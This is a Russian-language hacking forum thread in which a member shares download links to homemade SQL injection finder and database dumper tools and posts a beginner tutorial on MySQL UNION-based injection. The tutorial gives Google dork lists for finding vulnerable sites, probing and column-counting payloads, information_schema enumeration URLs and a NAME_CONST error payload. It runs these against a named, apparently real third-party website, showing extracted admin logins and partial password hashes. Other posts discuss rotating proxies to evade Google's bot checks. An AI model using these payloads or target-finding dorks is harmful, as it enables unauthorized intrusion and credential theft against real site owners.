BSQLi (best SQL injector)

Discussion in 'Уязвимости' started by Seravin, 16 Feb 2010.

  1. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    BSQLi v.1.2

    Всё таки я решил продолжить писать свою программу. Посмотрите, потестите. Как пользоваться особо рассказывать не буду, смотрите видео. Единственное, про что хотел рассказать, это про файлы в директории с программой:
    keyw.txt - файл с ключевыми словами. Эти слова добавляются к гугл-запросу для большего результата.
    search.txt - сами гугл-запросы
    inject.txt - так сказать команды, по которым определяется есть ли скуля(это система пока не очень хорошо работает). Записывается так:
    строка INJECT(в квадратных скобках), затем условия. Если все условия до следующей строки INJECT соблюдаются, значит скуля. условия записываются примерно так:
    Code:
    {page}|{page+}-1==true
    знак | обозначает что сравнивается то, что слева, и то, что справа. Если оно ~равно, то значение true и сравнивается с тем, что после ==. Алгоритм корявый по этому не всегда определяет. Исправьте, если у кого есть идеи(http://forum.antichat.ru/thread179023.html) page+ - увеличивает значение параметра на 1. Если нет знака | значит ищутся слова из файла, имя которого после ==. Если есть какие-нибудь пожелание, то пишите, по возможности реализую.
    Ссылка на программу: http://depositfiles.com/files/i3al620lc
    Ссылка на видео: http://depositfiles.com/files/1u9ey3qzx
     
    3 people like this.
  2. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    Я не могу понять почему, но когда я писал, то ввод капчи не работал: её вводишь, отправляется в гугл запрос, но при верном вводе, он всё равно пишет что неверно. А сегодня он мне предложил ввести капчу, я ввёл, потом вторую... И тут я понял что он так может до бесконечности. Ну единственное, что я придумал - отрубить инет. Отрубаю... соединяюсь... и тут программа продолжает дальше парсить гугл. Я не пойму почему так
     
  3. MolotSNK

    MolotSNK New Member

    Joined:
    13 Nov 2008
    Messages:
    4
    Likes Received:
    2
    Reputations:
    2
    Прога прикольная, только больно уж багистая.. Гуглу отпарсила нормально, а при проверке пишет Out of memory и останавливается..
     
  4. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    я кстати тоже заметил эту ошибку, ищу где ошибся
     
  5. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    Я решил отказаться от идеи автоматического поиска инъекций, потому что сам я люблю искать их вручную. Только теперь другая у меня идея: а если написать что-то типа браузер+дампер+гугл парсер+ещё всяких разных полезных мелочей в одной программе???
     
  6. Fooog

    Fooog Elder - Старейшина

    Joined:
    19 Sep 2008
    Messages:
    307
    Likes Received:
    170
    Reputations:
    12
    Не, не... Я был бы рад если бы ты закончил свое творение. Так как я до сих пор нормальной безбагистой такой программы не нашел. Надеюсь ты ее закончишь и она будет лучшей. ;)

    Иногда гугл мне пишет: Вы чето тамто... типа похожи на бота. Для того что бы удостовериться что вы человек введите капчу.
    Мб он ведет логи запросов от IP.
    Имхо если у тебя IP динамический то он у тебя меняется и гугл снова воспринимает твои запросы до поры, до времени.
    Сделай прогу с поддержкой прокси. Мб поможет кому то.
     
    #6 Fooog, 18 Feb 2010
    Last edited: 18 Feb 2010
  7. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    так там есть есть кнопка прокси и над ней два поля: верхнее хост, нижнее порт
     
  8. Fooog

    Fooog Elder - Старейшина

    Joined:
    19 Sep 2008
    Messages:
    307
    Likes Received:
    170
    Reputations:
    12
    Seravin, видел, я имел ввиду что бы была быстрая смена. Типа загрузил список и как только выскочила капча, нажал на кнопку и прокся сменилась. Или лучше даже автоматически.

    Кста, у тя куча багов.
    Будешь дальше делать прогу или хотя бы баги исправлять? :)
     
  9. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    Аааа, ну я об этом думал, но прост спина уже заболела за компом сидеть) ок я допишу
     
  10. Adio

    Adio Elder - Старейшина

    Joined:
    23 May 2005
    Messages:
    1,646
    Likes Received:
    148
    Reputations:
    18
    будет как то свободное время отпишу вам связку мулти иньекта. де то валялась.
     
  11. shell_c0de

    shell_c0de Hack All World

    Joined:
    7 Jul 2009
    Messages:
    1,174
    Likes Received:
    617
    Reputations:
    690
    допиши и сорцы выложи бум вместе доделать прожку )
     
    _________________________
  12. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    Лучше напишите кто-нибудь то, что я просил
     
  13. wolf295214

    wolf295214 New Member

    Joined:
    9 Apr 2009
    Messages:
    4
    Likes Received:
    3
    Reputations:
    0
    как там у тя работа с этой прожкой?:)
    когда исправятся баги и будет доработана?
     
  14. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    Решил писать проект по частям, ибо как-то довольно сложно вытягивать весь проект сразу же.
    И первой частью проекта стал дампер баз Databaser)
    Видео пока нет, потому что надо дорабатывать ещё, но вообщем-то всё можно делать интуитивно.
    Добавил возможность рандомного выбора user-agent и прокси.

    Вообщем-то из того как пользоваться хочу сказать только в каком виде должен быть url: если например есть сайт со скулей
    Code:
    http://mashiki.dominga.ru/view.php?id=-1+union+select+1,2+--+&sec=2
    
    то url будет выглядеть так(принтабельное поле 2):
    Code:
    http://mashiki.dominga.ru/view.php?id=-1+union+select+1,[printfield]+[from]+LIMIT+[row],2+--+&sec=2
    
    Большая просьба, если есть url с которыми тулза работать не хочет, отправьте в личку мне её.

    Вот ссылка: http://depositfiles.com/ru/files/tj442jckb
     
  15. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    За ночь устранил все баги, которые заметил) Вроде бы тулза работает более-менее коректно. Записал видео, всё впихнул в один архив:
    http://depositfiles.com/files/wvy03elgp
     
  16. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    Я тут на досуге решил написать туториал по проведению mysql-инъекций на серверах версии >5(вообщем-то я его впихну в дальнейшем в свою программу). Я знаю, что большинство в этой теме баян(вот по этому я его так хитро спрятал в теме со своей программой=) может кого нибудь заинтересуют мои мысли и он дочитает статью до конца). Для начала хочу сказать, что статья рассчитана для новичков, ибо довольно много вопросов,вообщем-то, задаются по темам аналогичных туториал, и как я понимаю либо ввиду невнимательности, либо просто народу влом читать статьи( большущий минус таким людям).

    1. Start

    Для начала, что же такое SQL-инъекция? Банально говоря, SQL-инъекция - это внедрение "юзеравского" запроса в запрос в скрипте страницы.

    Что нужно для того, чтобы начать искать такую уязвимость:
    1) Мозг
    2) Время
    3) Усидчивость
    4) Внимательность(это очень важно)

    Где искать уязвимости(или коректнее с помощью чего их искать):
    1) Конечно же наш друг Google
    2) Я, иногда ищу в портфолио компаний, занимающихся разработкой сайтов
    3) Некоторые хосты показывают небольшой(относительно) список сайтов

    Начинающему лучше всего брать не "качеством", а количестом инъекций, потому что практика - это очень важно, особенно в самом начале инжектинга.

    Как искать в гугле странички с уязвимостями, можно прочитать в статьях, которые обычно называются Google-хакинг.
    Вот парочка примеров:
    Code:
    inurl:content.php?id=
    inurl:index.php?id=
    inurl:main.php?id=
    inurl:streampage.php?id=
    inurl:base.php?id=
    inurl:content.php?id=
    inurl:catalog.php?id=
    inurl:view.php?id=
    inurl:detail.php?id=
    inurl:page.php?id=
    
    2. Поиск уязвимостей

    Например, гугл нам подкинул сайтик с такой ссылкой:
    Code:
    mysite.com/index.php?id=1
    
    Начинаем сканировать параметр id на уязвимость(смысл сканирования - это определение возможности нарушить SQL-запрос в скрипте).

    Основные примеры запросов:

    1) mysite.com/index.php?id=1+and+1=1 (true and true = true)

    Если открывается страница, как с параметром id=1, значит возможно, что параметр уязвимый, если же редирект или пустая страница(или пустой контент элементов), то возможно, что тоже есть ошибка в запросе(эта ошибка достигается за счёт скобок в запросе)
    mysite.com/index.php?id=1+and+1=2 (true and false = false)
    Если пустая страница или редирект, то 99%, что инъекция есть

    2) mysite.com/index.php?id=1'+and+'1'='1 (true and true = true)
    mysite.com/index.php?id=1'+and+'1'='2 (true and false = false)

    3) mysite.com/index.php?id=1"+and+"1"="1 (true and true = true)
    mysite.com/index.php?id=1"+and+"1"="2 (true and false = false)

    4) mysite.com/index.php?id=1+order+by+1+--+
    mysite.com/index.php?id=1+order+by+1000+--+ (пустая страница/редирект)

    5) mysite.com/index.php?id=1
    mysite.com/index.php?id=2-1

    6) mysite.com/index.php?id=1
    mysite.com/index.php?id=1*1

    7) mysite.com/index.php?id=
    Если ошибка/пустая страница/редирект, то параметр уязвимый

    8) mysite.com/index.php?id=1'
    Ошибка

    9) mysite.com/index.php?id=1hello
    "Unknown column '1hello' in 'where clause" (неизвестное поле 1hello)

    10) site.com/index.php?id=1)/*

    11) site.com/index.php?id=1')--+

    12) site.com/index.php?id=1"/*

    13)site.com/index.php?id=1))--+

    Список очень большой, но допольните вы его постигая науку SQL-injection)

    Уязвимые параметры - это не только в ссылках похожих на index.php?id=1, но и в:
    Code:
    mysite.com/index.php/id/6/
    mysite.com/index.HTM?id=1
    
    Также инъекцию нужно искать в формах страницы(ищется аналогично).

    3.SQl-reference
    Для дальнейшего понимания советую почитать:
    Code:
    SELECT syntax http://dev.mysql.com/doc/refman/5.1-maria/en/select.html
    UNION UNION: http://dev.mysql.com/doc/refman/5.1-maria/en/union.html
    
    3. Поиск принтабельных полей
    Для поиска кол-ва полей можно выбрать два пути:
    mysite.com/index.php?id=1+and+1=2+UNION+SELECT+1+--+
    mysite.com/index.php?id=1+and+1=2+UNION+SELECT+1,2+--+
    mysite.com/index.php?id=1+and+1=2+UNION+SELECT+1,2,3+--+
    ...
    И до тех пор пока не увидим числа.

    Или использование order by(указывает порядок сортировки полей).
    mysite.com/index.php?id=1+order+by+1+--+(сортировка по первому полю. если ошибки нет, значит первое поле существует)
    mysite.com/index.php?id=1+order+by+1000+--+(наверняка тысячное поле не существует, и мы получим ошибка/редирект/пустую страницу)
    mysite.com/index.php?id=1+order+by+100+--+
    mysite.com/index.php?id=1+order+by+50+--+
    ...
    И до тех пор пока не увидим страницу с id=1 (удобный способ)

    Как же собственно проходит инъекция:
    Code:
    mysite.com/index.php?id=1
    В скрипте запрос:
    SELECT id,text from mytable where id=$id
    
    Если вы прочитали про UNION, вы понимаете, что количество полей в UNION SELECT должно быть столько же сколько и в SELECT, если не читали, то примите пока как аксиому.

    Code:
    mysite.com/index.php?id=1+UNION+SELECT+1,2+--+
    
    Мы добавили к результату запроса SELECT id,text from mytable where id=1, запрос SELECT 1,2. Таким образом у нас получилось две строки результата запроса:
    1 SomeText
    1 2

    В большинстве случаев в скрипте используется результат первого запроса -> надо SELECT id,text from mytable where id=$id как то обнулить. Это достигается засчёт ввода несуществующего параметра id(к примеру -100) или 1+and+1=2 (true and false). В результате мы, возможно, увидим цифры 1 и 2(или хотя бы одно из них). Это и есть принтабельные поля.

    4.Дамп базы
    Теперь на примере одного сайта я покажу, как получить то, ради чего мы пришли на этот сайт:

    Code:
    http://www.ewpa-majster.pl/list.php?id=-1+UNION+SELECT+1,2,3,4+--+
    
    4 поля, принтабельное 3ье


    Для начала узнаем версию, текущую базу, пользователя.
    Code:
    http://www.ewpa-majster.pl/list.php?id=-1+UNION+SELECT+1,2,concat(version(),0x3a,database(),0x3a,user()),4+--+
    
    Функция concat "склеивает строку", 0x3a - шестнадцатиричное значение двоеточия " : ". Для получения шестнадцатиричного значения я, например, использую пaлгин HackBar для мозиллы.
    Также вместо можно использовать:
    version()=@@version
    user()=CURRENT_USER

    version: 5.0.51a-24+lenny2+spu1-log
    database: ewpa_majster01
    user: [email protected]

    Желательно почитать ещё тут: http://dev.mysql.com/doc/refman/5.0/en/group-by-functions-and-modifiers.html


    Для начала определим названия баз на сервере:
    group_concat(schema_name) + from + information_schema.schemata
    Code:
    http://www.ewpa-majster.pl/list.php?id=-1+UNION+SELECT+1,2,group_concat(schema_name),4+from+information_schema.schemata+--+
    
    2 databases: information_schema,ewpa_majster01

    group_concat склеивает строки запроса(стандартное ограничение 1024 символа)




    Теперь узнаем имена таблиц:
    group_concat(table_name) from information_schema.tables
    [Example]
    Code:
    http://www.ewpa-majster.pl/list.php?id=-1+UNION+SELECT+1,2,group_concat(table_name),4+from+information_schema.tables+--+
    
    Tables: CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_AP...

    Но нам не нужна таблица information_schema поэтому сделаем так:
    group_concat(table_name) from information_schema.tables + where + table_schema<>information_schema
    [Example]
    Code:
    http://www.ewpa-majster.pl/list.php?id=-1+UNION+SELECT+1,2,group_concat(table_name),4+from+information_schema.tables+where+table_schema<>0x696e666f726d6174696f6e5f736368656d61+--+
    
    696e666f726d6174696f6e5f736368656d61=information_schema

    А лучше просто получить таблицы текущей базы:
    Code:
    http://www.ewpa-majster.pl/list.php?id=-1+UNION+SELECT+1,2,group_concat(table_name),4+from+information_schema.tables+where+table_schema=database()+--+
    
    Теперь узнаем колонки произвольной таблицы(например, ewpa_user):
    group_concat(column_name) + from + information_schema.columns + where + table_name=0xHEXofTABLENAME
    [Example]
    Code:
    http://www.ewpa-majster.pl/list.php?id=-1+UNION+SELECT+1,2,group_concat(column_name),4+from+information_schema.columns+where+table_name=0x657770615f75736572+--+
    
    657770615f75736572=hex(ewpa_user)
    Columns:id,login,pass

    И последний шаг, это значения:
    group_concat(column_name,[delimiter],column_name...) +from+table_name.

    [Example]
    Code:
    http://www.ewpa-majster.pl/list.php?id=-1+UNION+SELECT+1,2,group_concat(id,0x3a,login,0x3a,pass),4+from+ewpa_user+--+
    
    Result:1:admin:646224a5...,2:dyalcom:098f6b...

    Если вам нужно определить определённую строку база, то делаем так:
    Code:
    http://www.ewpa-majster.pl/list.php?id=-1+UNION+SELECT+1,2,schema_name,4+from+information_schema.schemata+LIMIT+ROW,COL+--+
    
    where col - число столбцов в запросе(в данном случае 4)
    row - number of receing row.
    Code:
    http://www.ewpa-majster.pl/list.php?id=-1+UNION+SELECT+1,2,schema_name,4+from+information_schema.schemata+LIMIT+0,4+--+
    http://www.ewpa-majster.pl/list.php?id=-1+UNION+SELECT+1,2,schema_name,4+from+information_schema.schemata+LIMIT+1,4+--+
    http://www.ewpa-majster.pl/list.php?id=-1+UNION+SELECT+1,2,schema_name,4+from+information_schema.schemata+LIMIT+2,4+--+
    ...
    


    Если вы получаете ошибку: "Illegal mix of collations" то используйте unhex(hex()) (например:unhex(hex(database())))

    5. Double query
    Когда на странице есть два и более запросов подбор кол-ва полей не имеет никакого смысла, потому что мы подберём поля только для первого запроса, а в остальных будет ошибка. Я не читал об этом, поэтому спросил в "Вопросах об уязвимостях". Я не помню кто мне это написал, но ответ был такого плана:
    mysite.com/index.php?id=(SELECT+*+FROM(SELECT+*+FROM(SELECT+NAME_CONST(user(),14)a)+as+t+JOIN+(SELECT+NAME_CONST(user(),14)a)b)c)

    NAME_CONST syntax http://dev.mysql.com/doc/refman/5.0/en/miscellaneous-functions.html

    >v5.0.12
    NAME_CONST(name,value)
    When used to produce a result set column, NAME_CONST() causes the column to have the given name.
    Смысл каков: когда используется для получения результата, то NAME_CONST "назначает"(не смог слово подобрать) столбцу имя name.

    Как же работает тот запрос?!
    Насколько я понял, он основывается на присоединении запроса "справа" к запросу "слева" с одним и тем же именем колонки.

    В итоге мы получаем ошибку duplicate column '', где в кавычке и указан результат NAME_CONST(в данном случае имени пользователя)

    Есть видео с разными инъекциями, которое я делал для одного форума:
    http://depositfiles.com/files/27s58g9vh

    В последствие буду чем-то дополнять, что-то исправлять)
     
    #16 Seravin, 1 Mar 2010
    Last edited: 1 Mar 2010
  17. _eXorcist_

    _eXorcist_ New Member

    Joined:
    24 Dec 2009
    Messages:
    69
    Likes Received:
    3
    Reputations:
    0
    прога конечно рульная но она до тебя уже написана
    и название ей SQL_Helper_v2.7 хотя у тебя тоже неплохая немного удобнее некоторые функции
     
  18. _eXorcist_

    _eXorcist_ New Member

    Joined:
    24 Dec 2009
    Messages:
    69
    Likes Received:
    3
    Reputations:
    0
    он же к своей проге его написал
     
    #18 _eXorcist_, 1 Mar 2010
    Last edited: 1 Mar 2010
  19. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    Что значит уже написана? или ты хочешь чтобы все пользовались одной программой?
     
  20. _eXorcist_

    _eXorcist_ New Member

    Joined:
    24 Dec 2009
    Messages:
    69
    Likes Received:
    3
    Reputations:
    0
    необижайся конечно но то что определяет SQL_Helper_v2.7 твоя прога определить неможет